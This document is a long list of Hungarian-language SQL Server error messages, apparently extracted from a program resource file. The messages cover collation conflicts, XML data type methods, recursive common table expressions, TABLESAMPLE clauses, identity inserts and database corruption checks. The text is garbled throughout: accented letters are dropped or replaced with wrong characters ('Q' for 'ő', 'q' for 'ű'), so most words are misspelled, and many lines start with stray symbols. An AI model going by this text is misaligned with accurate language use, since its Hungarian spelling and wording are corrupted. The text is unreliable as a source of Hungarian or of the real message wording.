A(z) %1!s! adattpus nem vlaszthat a DISTINCT hasznlathoz, mert azzal nem sszevethetQ.

Kzs tblakifejezs van definilva, de nincs hasznlatban.

Az ellenQrzQ megktsekben nem tmogatottak az Xml adattpus metdusai. A metdus meghvsnak csomagolshoz hozzon ltre skalris felhasznli fggvnyt. A hiba a(z)  %1!s!  tblnl trtnt.

A tblavltozk szmtott oszlopdefinciiban s a tblzat rtkq fggvnyek eredmnytbliban nem tmogatottak az Xml adattpus metdusok. A hiba elQfordulsnak helye:  %1!s!  oszlop,  %2!s!  tbla, %3!s! utasts.

A fogad vltoz adattpusa (%1!s!) nem egyenlQ a(z)  %3!s!  oszlop %2!s! adattpusval.

A fogad vltoz %1!s! hossza nem egyenlQ a(z)  %3!s!  oszlop %2!s! hosszval.

A(z) %2!s! azonostj adatbzisban tallhat %1!s! azonostj megkts defincijnak betltse sikertelen volt. A DBCC CHECKCATALOG utasts futtatsval ellenQrizze az adatbzis psgt.

Tbb utastsbl ll ktegben tmeges beszrs nem hasznlhat.

Az ellenQrzQ megktsekben mr nem tmogatottak az Xml adattpus metdusai. Hagyja ki a korltozst, vagy a metdus meghvsnak csomagolshoz hozzon ltre skalris felhasznli fggvnyt. A hiba a(z)  %1!s!  tblnl trtnt.

A(z)  %1!s!  fggvny nem engedlyezett az OUTPUT zradkban.

A szmtott oszlopok definciiban nem tmogatottak az Xml adattpus metdusai. A metdus meghvsnak csomagolshoz hozzon ltre skalris felhasznli fggvnyt. A hiba elQfordulsnak helye:  %1!s!  oszlop,  %2!s!  tbla, %3!s! utasts.

A szablyokban nem megengedettek az Xml adattpus metdusai. A hiba a(z)  %1!s!  tblnl trtnt.

BelsQ lekrdezsfordtsi hiba. Nem sikerlt kezelni a verem tlcsordulst.

A(z)  %1!s!  fggvny tvoli adatforrson nem hasznlhat.

A NEST argumentumnak oszlophivatkozsnak kell lennie. A kifejezsek nem megengedettek.

A mellkhatssal mqkdQ  %1!s!  opertor rvnytelen, fggvnyen belli hasznlata.

Fggvnyen belli Select utastsokkal nem lehet adatot eredmnyl adni gyfl szmra.

A COLLATE zradk nem hasznlhat COLLATE zradkot tartalmaz kifejezseken.

A(z) %4!s! mqvelethez tartoz %3!s! opertorban a(z)  %1!s!  s  %2!s!  kztti rendezsi tkzs nem oldhat fel.

A(z) %1!s! kifejezstpus COLLATE zradk esetben rvnytelen.

Hrvnytelen rendezs:  %1!s! .

Az eltrQ  %1!s!  s  %2!s!  rendezst tartalmaz COLLATE zradkok rendezsi tkzst okoznak.

A text adattpus esetben nem tmogatott a kdlapok fordtsa. Forrs: %1!s! Cl: %2!s!.

 A(z) %5!s! oszlopban levQ %4!s! utastsban elQfordul %3!s! opertorban a(z)  %1!s!  s  %2!s!  kztti rendezsi tkzs nem oldhat fel.

Felhasznl ltal definilt adattpusokon nem hasznlhat COLLATE zradk.

A(z)  %1!s!  rendezs csak Unicode adattpusok esetben tmogatott, az adatbzis vagy a kiszolgl szintjn nem llthat be.

Az UNNEST argumentumnak begyazott tblzatoszlopnak kell lennie.

A fggvnyeken bell szerepeltetett utols utastsnak visszatrsi utastsnak kell lennie.

A(z) %1!s! rtk %2!s! rtkre trtnQ implicit konverzija nem hajthat vgre, mert az eredmnyl kapott rendezs nem oldhat fel a(z) %5!s! opertorban levQ  %3!s!  s  %4!s!  kztti rendezsi tkzs miatt.

A(z) %1!s! rtk %2!s! rtkre trtnQ implicit konverzija nem hajthat vgre, mert az rtk rendezse nem oldhat fel a(z) %5!s! opertorban levQ  %3!s!  s  %4!s!  kztti rendezsi tkzs miatt.

A SELECT INTO cloldali  %1!s!  tblja nem hozhat ltre, mert a(z)  %2!s!  XML-oszlop tpusaknt a(z)  %4!s!  adatbzis  %3!s!  smagyqjtemnye van megadva. Az XML-oszlopok nem hivatkozhatnak tbb adatbzis kztti smkra.

A(z)  %1!s!  rendezs csak Unicode adattpusok esetben tmogatott, a karakter, varchar s szveg adattpusokon nem alkalmazhat.

A DISTINCT opertor nem engedlyezett rekurzv kzs tblakifejezs ( %1!s! ) rekurzv rszben.

A TOP vagy az OFFSET opertor nem engedlyezett rekurzv kzs tblakifejezs ( %1!s! ) rekurzv rszben.

KlsQ illeszts nem engedlyezett rekurzv kzs tblakifejezs ( %1!s! ) rekurzv rszben.

A paramteres fggvnyek hasznlata nem engedlyezett rekurzv kzs tblakifejezs ( %1!s! ) rekurzv rszben.

A mellkhatssal mqkdQ fggvnyek hasznlata nem engedlyezett rekurzv kzs tblakifejezs ( %1!s! ) rekurzv rszben.

A segdlekrdezsekben nem megengedettek a rekurzv hivatkozsok.

A UNION opertor nem engedlyezett rekurzv kzs tblakifejezs ( %1!s! ) rekurzv rszben.

 A GROUP BY, a HAVING s egyb aggregtumfggvnyek hasznlata nem engedlyezett rekurzv kzs tblakifejezs ( %1!s! ) rekurzv rszben.

A(z) %3!s! mqveletben a(z)  %1!s!  s  %2!s!  kztti rendezsi tkzs nem oldhat fel.

DA(z)  %1!s!  cloldali tblhoz explicit oszloplistt kell megadni a KEEPIDENTITY tblamutat hasznlatakor, illetve ha a tbla identitsoszlopot tartalmaz.

A(z)  %1!s!  szinonima a(z)  %2!s!  szinonimra hivatkozott. A szinonimk lncolsa nem megengedett.

A hrom kapcsolbl   SINGLE_BLOB, SINGLE_CLOB vagy SINGLE_NCLOB   csak egy adhat meg.

Vagy formtumfjlt, vagy a hrom kapcsol   SINGLE_BLOB, SINGLE_CLOB vagy SINGLE_NCLOB   egyikt meg kell adni.

|A PIVOT opertorban helytelen  %1!s!  rtk van megadva.

A(z)  %1!s!  tblra vonatkozan a szmtott oszlopok definciit nem sikerlt betlteni.

,rvnytelen SAMPLE zradk. Csak a SELECT, UPDATE s DELETE lekrdezsek FROM zradkban szereplQ tblanevek esetben hajthat vgre mintavtel.

(A(z)  %2!s!  tblra vonatkozan rvnytelen a(z)  %1!s!  PERCENT tblamintamret. A PERCENT tblaminta mretnek 0 s 100 kztt kell lennie.

Prvnytelen ROWS rtk vagy REPEATABLE kezdQrtk tallhat a(z)  %1!s!  tbla TABLESAMPLE zradkban. Az rtknek vagy a kezdQrtknek egsz szmnak kell lennie.

A TABLESAMPLE zradk nem hasznlhat nzetdefinciban, illetve belsQ tblafggvny defincijban.

<rvnytelen  %1!s!  ROWS rtk vagy REPEATABLE szm tallhat a(z)  %2!s!  tbla TABLESAMPLE zradkban. Az rtk vagy szm csak nullnl nagyobb lehet.

A TABLESAMPLE zradk nem hasznlhat a(z)  %1!s!  tblafggvnnyel.

A TABLESAMPLE zradk nem hasznlhat a(z)  %1!s!  csatolt kiszolgli tblval.

Nem lland vagy rvnytelen kifejezs a TABLESAMPLE vagy a REPEATABLE zradkban.

Az OUTPUT zradk INSERT...EXEC utastsban nem hasznlhat.

dLegfeljebb %1!s! helyi vltoz deklarlhat.

\A nzetek s a belsQ fggvnyek nem adhatnak eredmnyl olyan XML oszlopokat, amelyekhez a jelenlegitQl eltrQ adatbzisban regisztrlt smagyqjtemny van megadva tpusknt. A(z)  %1!s!  oszlophoz a(z)  %2!s!  smagyqjtemny van megadva tpusknt, amely a(z)  %3!s!  adatbzisban van regisztrlva.

A(z)  %1!s!  nem teszi lehetQv a sma nevnek a szerelvnynv elQtagjaknt val megadst.

rvnytelen paramter van megadva a(z)  %1!s!  utastshoz.

A(z) %1!s! oszlopoknak egymssal sszevethetQnek kell lennik. A(z)  %2!s!  oszlop  %3!s!  tpus, ez nem hasznlhat sszevetsre.

Nem adhat meg az OUTPUT zradk, mert a(z)  %1!s!  clnzet particionlt nzet.

Az jraszinkronizlsi funkci pillanatnyilag le van tiltva.

A FROM zradkban tallhat tmeges sorkszlethez korrelcis nevet kell megadni.

PAz ismtlQdQ oszlopnevek az OPENQUERY s az OPENROWSET hasznlatval kialaktott eredmnykszletekben nem megengedettek. A(z)  %1!s!  oszlopnv tbbszr szerepel.

A nodes() metdus ltal eredmnyl adott  %1!s!  oszlop nem hasznlhat kzvetlenl. Csak az XML adattpushoz tartoz ngy metdus  exist(), nodes(), query() vagy value()  egyikvel, illetve IS NULL s IS NOT NULL ellenQrzsekben hasznlhat.

xA TABLESAMPLE zradk csak helyi tblkkal hasznlhat.

A(z) eredmnyl adott  %1!s!  tblaoszlop nem ugyanolyan tpus, mint a ltrehozshoz hasznlt tpus. Vegye ki s hozza ltre jra a modult a tpushoz ktrszes nevet hasznlva, vagy pedig az sp_refreshsqlmodule hasznlatval frisstse a paramterek metaadatait.

A(z)  %1!s!  paramter nem ugyanolyan tpus, mint a ltrehozshoz hasznlt tpus. Vegye ki s hozza ltre jra a modult a tpushoz ktrszes nevet hasznlva, vagy pedig az sp_refreshsqlmodule hasznlatval frisstse a paramterek metaadatait.

A vltozk a TABLESAMPLE vagy REPEATABLE zradkokban nem megengedettek.

rvnytelen rtk a TABLESAMPLE vagy a REPEATABLE zradkban.

rvnytelen paramter a getchecksum fggvnyre vonatkozan.

DTblzat rtkq paramter tadsra trtnt ksrlet a(z) %1!s! oszlopoknl, ahol a megfelelQ felhasznl ltal definilt tblatpus %2!s! oszlopot ignyel.

$A jelenlegi felhasznli fik meghvsa a SETUSER vagy a SP_SETAPPROLE hasznlatval trtnt. Az adatbzisok megvltoztatsa nem megengedett.

Az rvnytelen  %1!s!  escape-karakter volt megadva egy %2!s! prediktumban.

rvnytelen argumentum a SET ROWCOUNT esetben. Nem null rtkq, nem negatv egsz szmnak kell lennie.

`Nem tallhat a(z)  %1!s!  felhasznlnv.

A megengedett maximumnl nagyobb munkatblasor nem hozhat ltre. Kldje el jra a lekrdezst a ROBUST PLAN mutatval.

%1!s! mretq sor nem hozhat ltre, ez meghaladja a megengedett maximlis sormretet (%2!s!).

A segdlekrdezs egynl tbb rtket adott eredmnyl. Ez nem megengedett olyan esetben, amikor a segdlekrdezs =, !=, <, <=, >, >= opertor utn ll, illetve a segdlekrdezs kifejezsknt val hasznlata esetn.

Egy oszlopbeszrs vagy -frissts tkzik egy korbbi CREATE RULE utastssal rvnyestett szabllyal. Az utasts vgrehajtsa lellt. Az tkzs elQfordulsi helye:  %1!s!  adatbzis,  %2!s!  tbla,  %3!s!  oszlop.

 A NULL rtk nem szrhat be a(z)  %1!s!  oszlopba ( %2!s!  tbla), az oszlop nem engedni meg a null rtkek hasznlatt. A(z) %3!s! lell.

Egy  %1!s!  oszlophoz val rtkhozzads tlcsordulst okozott.

A(z) %1!s! adattpus nem konvertlhat a kvetkezQ tpusra: %2!s!.

LA WAITFOR szl kizrsra kerlt.

HEgy esemnyindt eredmnyhalmazt adott eredmnyl, s/vagy a SET NOCOUNT OFF belltssal futott, mikzben egy msik, htralvQ eredmnyhalmaz mg aktv volt.

Egy esemnyindt eredmnyhalmazt adott eredmnyl, s az esemnyindtk eredmnyeit kizr kiszolgli bellts rtke IGAZ.

A nodes() metdus ltal eredmnyl adott oszlop nem alakthat t %1!s! adattpusv. Csak az XML adattpushoz tartoz ngy metdus  exist(), nodes(), query() vagy value()  egyikvel, illetve IS NULL s IS NOT NULL ellenQrzsekben hasznlhat.

A klnbzQ XML smagyqjtemnyek ltal korltozott XML tpus %1!s! elemek s/vagy a DOCUMENT/CONTENT paramter hasznlata nem megengedett. A lekrdezs futtatsra hasznlja a CONVERT fggvnyt.

PA klnbzQ XML smagyqjtemnyek ltal korltozott XML tpusok kztti implicit konverzi nem megengedett. A lekrdezs futtatsra hasznlja a CONVERT fggvnyt.

A)z) %1!s! adattpusrl %2!s! tpusra val explicit konverzi nem megengedett.

Az utasts le van zrva. A rekurzik maximlis szmt (%1!s!) mg az utasts befejezQdse elQtt kimertette a folyamat.

Az idQblyeg (j rtke %1!s!) mutatja, hogy a sort egy msik felhasznl frisstette.

Az XACT ABORT nem llthat OFF llapotra az esemnyindt vgrehajtsn bell.

A(z)  %1!s!  lellt, mert a jelen  %2!s!  SQL Server-pldny kiadsa nem tmogatja. Az SQL Server klnbzQ kiadsai ltal nyjtott szolgltatsok tmogatsrl az online knyvekben olvashat bQvebben.

A datediff fggvny tlcsordulst eredmnyezett. Tl nagy a kt dtum/idQ pldnyt egymstl elvlaszt datepart fggvnyek szma. Prblja meg a datediff fggvnyt kevsb pontos datepart rtkkel hasznlni.

rvnytelen hosszparamter tadsa trtnt a(z) %1!s! fggvnynek.

rvnytelen hosszparamter tadsa trtnt a LEFT vagy a SUBSTRING fggvnynek.

A sma megvltozott a cloldali tbla ltrehozsa utn. Futtassa jra a Select Into lekrdezst.

tNincs elg rendszermemria a RAISERROR futtatshoz.

|Nincs elegendQ veremterlet az utasts vgrehajtshoz.

rvnytelen dtum s idQ rtk fordult elQ. Az rtk meghaladja a 9999-es vet.

Sikertelen volt az eredmnytbla ltrehozsa a tblzat rtkq  %1!s!  fggvnyre vonatkozan.

A(z)  %1!s!  tbla identitsoszlopba nem szrhat be explicit rtk, amikor az IDENTITY_INSERT belltsa OFF.

A(z)  %1!s!  tbla identitsoszlophoz explicit rtket kell megadni, amikor az IDENTITY_INSERT belltsa ON, vagy amikor egy replikcis felhasznl NOT FOR REPLICATION jellsq identitsoszlopban vgez beszrst.

DA(z) %1!s! utasts tkzst eredmnyezett a(z)  %3!s!  %2!s! megktssel. Az tkzs elQfordulsnak helye:  %4!s!  adatbzis,  %5!s! %6!s!%7!s!%8!s! tbla.

8A beszrs sikertelen volt. A(z)  %1!s!  adatbzis  %2!s! %3!s!%4!s!%5!s!  repliklt tbljnak identitstartomny-ellenQrzsi megktsvel tkztt. Ha az identitsoszlopot automatikusan kezeli a replikci, a tartomnyt a kvetkezQkppen frisstse: a kzztevQ esetben az sp_adjustpublisheridentityrange vgrehajtsval, az elQfizetQ esetben a terjesztsi gynk vagy az egyestsi gynk futtatsval.

A fogad vltoz rendezse (%1!s!) nem egyenlQ a(z)  %3!s!  oszlop %2!s! rendezsvel.

HA megksrelt beszrs vagy frissts azrt volt sikertelen, mert a clnzet vagy WITH CHECK OPTION belltst ad meg, vagy olyan nzetet foglal magba, amely WITH CHECK OPTION belltst ad meg, s a mqvelet alapjn ltrejvQ egy vagy tbb sor nem felelt meg a CHECK OPTION megktsnek.

A(z)  %1!s!  CryptoAPI fggvny sikertelen. 0x%2!s! hiba: %3!s!

A felhasznl ltal definilt fggvnyek mg nincsenek engedlyezve.

Az INSERT EXEC mqvelet sikertelen volt, mert a trolt eljrs megvltoztatta a cloldali tbla smjt.

Fggvnyen bellrQl csak fggvnyek s bizonyos bQvtett trolt eljrsok hajthatk vgre.

A tvoli fggvnyhvsok fggvnyeken bell nem megengedettek.

\Sikertelen a(z)  %1!s!  fjl hozzfrse

Sikertelen a(z)  %1!s!  fjl hozzfrse. A fjlok csak megosztsokon keresztl frhetQk hozz

Az INSERT EXEC utastshoz tartoz tranzakcit visszalltotta a rendszer. Az INSERT EXEC mqvelet lell.

Rgztett  %1!s!  hosszsg rekord ltrehozsra trtnt ksrlet. A maximlis megengedett rgztett hosszsg  %2!s! .

A lekrdezs fordtsa kzben veremtlcsorduls trtnt a kiszolgln. Tegye egyszerqbb a lekrdezst.

Hiba trtnt naplzsi nyomkvets rsa sorn. Az SQL Server lell. EllenQrizze s javtsa ki az olyan hibkat, mint pldul a nem elegendQ hely a lemezen, majd indtsa jra az SQL Server rendszert. Ha a problma tartsan fennll, tiltsa le a nyomkvetst oly mdon, hogy a kiszolglt a parancssorbl indtja el az  -f  kapcsolval, majd meghvja az SP_CONFIGURE trolt eljrst.

lA(z)  %1!s!  nem felismerhetQ nyomkvetsi fjl.

Hiba trtnt vagy a(z)  %1!s!  nyomkvetsi fjl vratlanul rt vget.

pA(z) %1!s! szmra tadott ler rvnytelen volt.

Az INSTEAD OF esemnyindtk nem tmogatjk a kzvetlen rekurzit. Az esemnyindt vgrehajtsa sikertelen volt.

|A(z) %1!s! szmra megadott attribtumrtk rvnytelen.

rvnytelen  %1!s!  regulris kifejezs a(z) %2!s! eltols kzelben.

A regulris kifejezs kirtkelse tl sszetett:  %1!s! .

A(z) %1!s! utasts felhasznli tranzakcin bell nem hasznlhat.

Egy LOGON esemnyindt eredmnyhalmazt adott eredmnyl. Mdostsa a LOGON esemnyindtt, hogy ne adjon eredmnyl eredmnyhalmazokat.

%1!s! mretq ritka adatokat tartalmaz sor nem hozhat ltre, ez meghaladja a ritka adatokhoz megengedett maximlis mretet (%2!s!).

Az idQtllpshez megadott rtk rvnytelen. Az idQtllpsnek 0 s 2147483647 kztti rvnyes egsznek kell lennie.

Az Insert Exec hasznlata WAITFOR lekrdezsek esetben nem megengedett.

Az WAITFOR lekrdezs pillanatkp szintq elklntssel nem hajthat vgre.

Az eltols nagyobb, mint az rssal frisstendQ oszlop hossza.

XNegatv eltols vagy hosszsg rskor.

A Select Into hasznlata WAITFOR lekrdezsek esetben nem megengedett.

Az adatbzis-krnyezet mdosts nem megengedett az erQforrs-adatbzis adatokkal val feltltsekor.

A(z)  %1!s!  elQksztett utastsler ebben a krnyezetben nem rvnyes. EllenQrizze, hogy az aktulis adatbzis, a felhasznli alaprtelmezett sma, valamint az ANSI_NULLS s QUOTED_IDENTIFIER belltsok nem vltoztak meg a ler elQksztse ta.

rvnytelen ksleltetett CLR tpus lehvsi jogkivonat van megadva.

A munkameneten bell tbb feladat is egyszerre hasznlja ugyanazt a ksleltetett CLR tpus lehvsi jogkivonatot.

Ez az utasts olyan adatok hozzfrst ksrelte meg, amelyek hozzfrst a szerelvny korltozza.

tA tvoli eljrshvs vgrehajts nlkl megszakadt.

%1!s!: A(z)  %2!s!  formlis paramter OUTPUT tpusknt volt definilva, de a tnyleges paramter nem volt deklarlva OUTPUT tpusknt.

Nem tallhat a(z) %1!s! ID %2!s! a(z) ID %3!s! adatbzisban.

Egy msik htralvQ eredmnykszlettel vgrehajtott tmeges beszrst az XACT_ABORT engedlyezett llapotban kell futtatni.

A vgrehajts nem tud folytatdni, mert a munkamenet lelltsi llapotban van.

A folyamaton bell adathozzfrs vgrehajtsa a User Datagram Protocol (UDP) hibja miatt lell.

Hiba trtnt a CREATE/ALTER DB utasts vgrehajtsa sorn. Tovbbi informci az elQzQ hiba lersbl rhetQ el.

%1!s!: Az eredmny hossza meghaladja a cloldali large tpus hosszkorltjt (2GB).

A NOLOCK bellts beolvass az adatok mozgsa miatt nem folytathat.

Nem tallhat %1!s! partciazonostj tblra vagy indexre vonatkoz bejegyzs a(z) %2!s! adatbzisban. Ez a hiba olyankor fordulhat elQ, amikor egy trolt eljrs eldobott tblra hivatkozik, vagy ha srltek a metaadatok. Dobja el, majd hozza jra ltre a trolt eljrst, vagy hajtsa vgre a DBCC CHECKDB utastst.

Nem tallhat %1!s! objektumazonostj tblra vagy indexre (partciazonost: %2!s!) vonatkoz bejegyzs a(z) %3!s! adatbzisban. Ez a hiba olyankor fordulhat elQ, amikor egy trolt eljrs eldobott tblra hivatkozik, vagy ha srltek a metaadatok. Dobja el, majd hozza jra ltre a trolt eljrst, vagy hajtsa vgre a DBCC CHECKDB utastst.

XSikertelen volt a(z) %2!s! adatbzisban levQ %1!s! jelq logikai lap lehvsra tett ksrlet. A lap a(z) %3!s! foglalsi egysghez tartozik, nem a(z) %4!s! egysghez.

<Inkonzisztens metaadatok. A(z)  %2!s!  tblhoz megadott %1!s! fjlcsoport-azonost nem ltezik. Futtassa a DBCC CHECKDB vagya CHECKCATALOG utastst.

A(z) %2!s! adatbzisban nem tallhat katalgusbejegyzs a(z) %1!s! azonostj partcira vonatkozan. A metaadatok nem konzisztensek. A DBCC CHECKDB utasts futtatsval ellenQrizze a metaadatok esetleges srlst.

lA binris fa nem res a RowsetBulk bresztsekor.

rvnytelen fejlcrtk egy laprl. A DBCC CHECKDB utasts futtatsval ellenQrizze az adatok esetleges srlst.

HNem lehet sort beszrni vagy frissteni, mert az sszestett vltoz oszlopmret   beleszmtva a jrulkos elemeket is   %1!s! bjttal meghaladja a korltot.

Nem tallhat %1!s! partciazonostj munkatbla-sorkszletre vonatkoz bejegyzs a(z) %2!s! adatbzisban. 

tAdatok thelyezse miatt a knyvjelzQ nem tallhat.

DNem tallhat a(z)  %1!s!  azonostj,  %2!s!  nevq adatbzis. Lehet, hogy az adatbzis kapcsolat nlkli llapot. Vrjon pr percet, s prblja meg jra.

tA(z) %2!s! azonostj adatbzisban tallhat %1!s! azonostj objektum lerja a kivonatols visszafordtsra tett ksrlet sorn nem volt tallhat a kivonattblban. Egy bejegyzs hinyzik az egyik munkatblbl. Futtassa jra a lekrdezst. Ha kurzor rintett, zrja be, majd nyissa meg jra a kurzort.

A(z)  %1!s!  fjlcsoporthoz nincsenek fjlok hozzrendelve. A tblk, indexek, text oszlopok, ntext oszlopok s image oszlopok ebben a fjlcsoportban addig nem tlthetQk fel adatokkal, amg nincs hozzadva fjl.

A SAVE TRANSACTION mqvelet elosztott tranzakcin bell nem hasznlhat.

A SAVE TRANSACTION parancs nem adhat ki, amikor nincs aktv tranzakci.

A READPAST zrols csak READ COMMITTED vagy REPEATABLE READ elklntsi szinten adhat meg.

A(z)  %2!s!  tbln nem hasznlhat a(z) %1!s! rszletessgi szint, mert a megadott rszletessgnl gtolt a zrols.

A(z)  %2!s!  tbla (RowsetId: %3!s!)  %1!s!  indexe rsvdett fjlcsoportban tallhat ( %4!s! ), amely nem mdosthat.

Sikertelen volt a(z) %1!s! tmogatsnak letiltsa a(z)  %2!s!  adatbzisban, mert %3!s!.

Sikertelen volt a(z) %1!s! tmogatsnak engedlyezse a(z)  %2!s!  adatbzisban, mert %3!s!.

A(z) %1!s! nem tilthat le, mert a(z) %2!s! objektumazonostj oszlop vagy paramter rendezse %3!s!. E funkci letiltsa elQtt tvoltsa el az erre a rendezsre val sszes hivatkozst.

PA(z) %1!s! nem tilthat le, mert az adatbzis alaprtelmezett rendezse %2!s!. E funkci letiltsa elQtt tvoltsa el az erre a rendezsre val sszes hivatkozst.

@A(z) %1!s! tmogatsa nem engedlyezhetQ a(z)  %2!s!  adatbzisban, mert mr engedlyezve van a(z) %3!s! tmogatsa, s ezek klcsnsen kizrjk egymst.

dA(z) %1!s! nem tilthat le, mert szelektv XML-index tartozik a kvetkezQ azonostj tblzathoz: %2!s!. A funkci letiltsa elQtt dobja el az sszes szelektv XML-indexet.

A(z) %1!s! partciazonostj indexnl a dupliktumcsoportra vonatkoz, a rendszer ltal generlt egyedi rtk tllpte a maximumot. Az index eldobsa s ismtelt ltrehozsa megoldhatja a problmt, msklnben hasznljon msik frtzsi kulcsot.

A(z)  %2!s!  tbla (RowsetId: %3!s!)  %1!s!  indexe rsvdett fjlcsoportban tallhat ( %4!s! ), amely nem rhetQ el, mert kapcsolat nlkli llapot, visszallts alatt ll, vagy nem mqkdQkpes.

|A sorobjektum inkonzisztens. Futtassa jra a lekrdezst.

A(z)  %1!s!  tbla nagy objektumokra vonatkoz adati olyan kapcsolat nlkli fjlcsoportban ( %2!s! ) tallhatak, amely nem rhetQ el.

A(z)  %1!s!  tbla nagy objektumokra vonatkoz adati olyan rsvdett fjlcsoportban ( %2!s! ) tallhatak, amely nem mdosthat.

(A(z)  %2!s!  tbla (partciazonost: %3!s!)  %1!s!  indexnek egyik partcija olyan fjlcsoportban tallhat ( %4!s! ), amely nem rhetQ el, mert kapcsolat nlkli llapot, visszallts alatt ll, vagy nem mqkdQkpes. Ez korltozott teheti a lekrdezs eredmnyt.

NULL rtkre be nem llthat oszlop rtknek NULL rtkre val lltsra tett ksrlet.

8BelsQ hiba trtnt. Tl kicsi az oszlop rtknek olvasshoz biztostott puffer. A DBCC CHECKDB utasts futtatsval ellenQrizze, hogy van-e srls.

BelsQ hiba trtnt a vltoz s a rgztett hosszsg tizedes formtumok kztti tvltsra tett ksrlet sorn. A DBCC CHECKDB utasts futtatsval ellenQrizze, hogy srlt-e az adatbzis.

pBelsQ hiba trtnt a tmrtett s tmrtetlen trolsi formtumok kztti talaktsra tett ksrlet sorn. A DBCC CHECKDB utasts futtatsval ellenQrizze, hogy van-e srls.

BelsQ hiba trtnt egy halommemriban tovbbtott rekord visszamutat elemnek beolvassra tett ksrlet sorn.

A folyamat elrte a(z) %1!s! sorkszlethez tartoz binrisfa-struktra maximlis rtkt. Az SQL Server maximlisan 255 szintet tmogat.

Pratlan szm bjtot tartalmaz nchar vagy nvarchar oszlopok nem tmrthetQk.

A mqvelet vgrehajtsa nem engedlyezett, mert folyamatban van egy online indexkszts.

`A mqvelet vgrehajtsa nem engedlyezett, mert fggQben van egy online indexkszts utni tisztts. Vrja meg a tisztts befejezQdst, majd futtassa jra a mqveletet.

A lekrdezs futtatshoz nincs elg rendszermemria a(z)  %1!s!  erQforrskszletben.

tEgy puffernl nem kezelt 0x%1!s! llapot fordult elQ.

|A pufferkszletben nincs elg rendelkezsre ll memria.

Nem sikerlt visszafordtani a puffer kivonatolst a(z) 0x%1!s! cmnl (pufferlap szma: %2!s!, adatbzis-azonost: %3!s!, HASHED llapot belltva). A puffer nem tallhat. %4!s!. Forduljon a technikai tmogatsi szolglathoz.

A(z) %1!s! krelemre vonatkozan nem sikerlt elindtani a ki-/bemeneti mqveletet. Forduljon a technikai tmogatsi szolglathoz.

XAz opercis rendszer %1!s! hibt adott eredmnyl az SQL Server rendszernek egy %2!s! mqvelet sorn (eltols: %3!s!, fjl:  %4!s! ). Az SQL Server rendszer hibanapljban s a rendszernaplban tallhat tovbbi zenetekbQl esetleg tovbbi rszletek lehetnek elrhetQk. Ez slyos, rendszerszintq hiba, amely az adatbzis psgt veszlyezteti, haladktalanul ki kell javtani. Vgezzen teljes krq konzisztenciavizsglatot az adatbzison (DBCC CHECKDB). Ezt a hibt szmos tnyezQ okozhatja, tovbbi tudnivalkat az SQL Server online knyvekben tall.

Az SQL Server logikai konzisztencin alapul be-/kimeneti hibt szlelt: %1!s!. A hiba a(z) %4!s! azonostj adatbzis %3!s! jelq lapjn vgrehajtott %2!s! mqvelet sorn trtnt (eltols: %5!s!, fjl:  %6!s! ). Az SQL Server hibanapljban vagy a rendszer esemnynapljban tallhat egyb zenetekbQl esetleg tovbbi rszletek tudhatk meg. Ez slyos hiba, amely veszlyezteti az adatbzis psgt, ezrt haladktalanul ki kell javtani. Vgezzen teljes krq konzisztenciavizsglatot az adatbzison (DBCC CHECKDB). Ezt a hibt szmos tnyezQ okozhatja, tovbbi tudnivalkat az SQL Server online knyvekben tall.

hA(z) %1!s! azonostj adatbzis %2!s! jelq lapja RestorePending jelzsq, ez a lemez srlsre utalhat. Az ebbQl az llapotbl val helyrelltshoz vgezzen visszalltst.

xNem sikerlt visszavonni egy megtartott lap foglalst.

LMegvltozott egy olyan lap, amelynek llandnak kellene lennie (vrt ellenQrzQsszeg: %1!s!, tnyleges ellenQrzQsszeg: %2!s!, adatbzis: %3!s!, fjl:  %4!s! , lap: %5!s!). Ez ltalban memriahibra, illetve valamely egyb hardver vagy az opercis rendszer nem megfelelQ mqkdsre utal.

IdQtllps trtnt a puffer %1!s! tpus zrolsra trtnQ vrakozs sorn (lap: %2!s!, adatbzis-azonost: %3!s!).

A(z) %1!s! mdostshoz az adatbzisnak olyan llapotban kell lennie, amelyben ellenQrzQpont hajthat vgre.

A kiszolgl lelltsa vagy indtsa alatt a(z) %1!s! adatbzis automatikus indtsa nem hajthat vgre.

A(z)  %1!s!  adatbzis nem indthat el az SQL Server jelen kiadsban, mert szerepel benne egy  %2!s!  partcifggvny. A particionlst csak az SQL Server rendszer Enterprise kiadsa tmogatja.

A(z)  %1!s!  adatbzishoz inkonzisztens adatbzis- vagy fjl-metaadatok tartoznak.

A(z)  %1!s!  adatbzis nem indthat el az SQL Server jelen kiadsban, mert a(z)  %2!s!  objektumhoz rszben vagy egszben engedlyezve van az adattmrts vagy a vardecimal trolsi formtum. Az adattmrts s a vardecimal trolsi formtum hasznlata csak az SQL Server rendszer Enterprise kiadsban tmogatott.

A(z)  %1!s!  adatbzis nem ltezik. gyeljen arra, hogy a nv helyesen legyen megadva.

dA(z)  %1!s!  adatbzis parancsprogramszintq frisstse sikertelen volt, mert %3!s! hiba trtnt (llapot: %4!s!, slyossg: %5!s!) a frissts  %2!s!  lpse sorn. Ez slyos hiba, amely a norml mqkdsre is kihathat, ezrt le kell lltani az adatbzist. Amennyiben a hiba a  fQ  adatbzis frisstse kzben trtnt, a teljes SQL Server-pldny indulst megakadlyozza majd. Keresse meg a hibkat a korbbi hibanapl-bejegyzsek kztt, tegye meg a szksges intzkedseket, s indtsa jra az adatbzist, hogy lefusson a parancsprogram-alap frissts.

$Nem tallhat a(z) %1!s! adatbzis. Az adatbzis esetleg mg nincs aktivlva, vagy mg tmeneti llapotban van. Adja ki jra a lekrdezst, amikor az adatbzis mr elrhetQ. Ha gy vli, hogy ez a hiba nem az adatbzis llapotnak vltozsa miatt trtnt, s a hiba tovbbra is jelentkezik, forduljon az tmogatsi szolgltatsokat elsQdlegesen nyjt flhez. Ksztse elQ ellenQrzsre a Microsoft SQL Server rendszer hibanapljt, illetve minden tovbbi informcit, amely a hiba elQfordulsnak krlmnyeivel kapcsolatos.

A(z)  %1!s!  adatbzis parancsprogram szintq frisstse sikertelen volt, mert mg a befejezQdse elQtt megszaktottk a frissts  %2!s!  lpst. Amennyiben a megszakts a  fQ  adatbzis frisstse kzben trtnt, a teljes SQL Server-pldny indulst megakadlyozza majd. Keresse meg a hibkat a korbbi hibanapl-bejegyzsek kztt, tegye meg a szksges intzkedseket, s indtsa jra az adatbzist, hogy lefusson a parancsprogram-alap frissts.

